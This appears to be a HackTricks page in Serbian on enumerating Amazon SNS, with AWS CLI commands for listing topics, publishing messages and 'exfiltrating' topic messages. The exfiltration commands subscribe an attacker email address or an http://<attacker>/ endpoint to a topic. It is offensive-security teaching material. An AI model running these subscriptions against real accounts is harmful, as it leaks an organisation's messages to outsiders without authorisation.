AWS - SNS Enum

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) se opisuje kao potpuno upravljana usluga za razmenu poruka. Podržava komunikacione tipove između aplikacija (A2A) i komunikacione tipove između aplikacije i osobe (A2P).

Ključne karakteristike za A2A komunikaciju uključuju mehanizme objavljivanja/pretplate (pub/sub). Ovi mehanizmi uvode teme, koje su ključne za omogućavanje visoke propusnosti, push-bazirane, mnoge-na-mnoge razmene poruka. Ova funkcija je veoma korisna u scenarijima koji uključuju distribuirane sisteme, mikroservise i arhitekture bez servera zasnovane na događajima. Korišćenjem ovih tema, sistemi za objavljivanje mogu efikasno distribuirati poruke širokom spektru sistema za pretplatu, olakšavajući obrazac razmene poruka.

Razlika sa SQS

SQS je usluga zasnovana na redovima koja omogućava komunikaciju tačka-tačka, osiguravajući da poruke obrađuje jedan potrošač. Nudi isporuku najmanje jednom, podržava standardne i FIFO redove, i omogućava zadržavanje poruka za ponovne pokušaje i odloženu obradu.
S druge strane, SNS je usluga zasnovana na objavljivanju/pretplati, omogućavajući jedan-na-mnoge komunikaciju emitovanjem poruka više pretplatnika istovremeno. Podržava različite krajnje tačke pretplate kao što su email, SMS, Lambda funkcije i HTTP/HTTPS, i pruža mehanizme filtriranja za ciljanje isporuke poruka.
Dok obe usluge omogućavaju odvajanje između komponenti u distribuiranim sistemima, SQS se fokusira na komunikaciju putem redova, dok SNS naglašava komunikacione obrasce zasnovane na događajima i širenju.

Enumeracija

bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

caution

Imajte na umu da ako je tema tipa FIFO, mogu se koristiti samo pretplatnici koji koriste protokol SQS (HTTP ili HTTPS ne mogu se koristiti).

Takođe, čak i ako --topic-arn sadrži region, obavezno navedite tačan region u --region ili ćete dobiti grešku koja izgleda kao da nemate pristup, ali je problem u regionu.

Neautorizovani Pristup

AWS - SNS Unauthenticated Enum

Eskalacija Privilegija

AWS - SNS Privesc

Post Eksploatacija

AWS - SNS Post Exploitation

Perzistencija

AWS - SNS Persistence

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks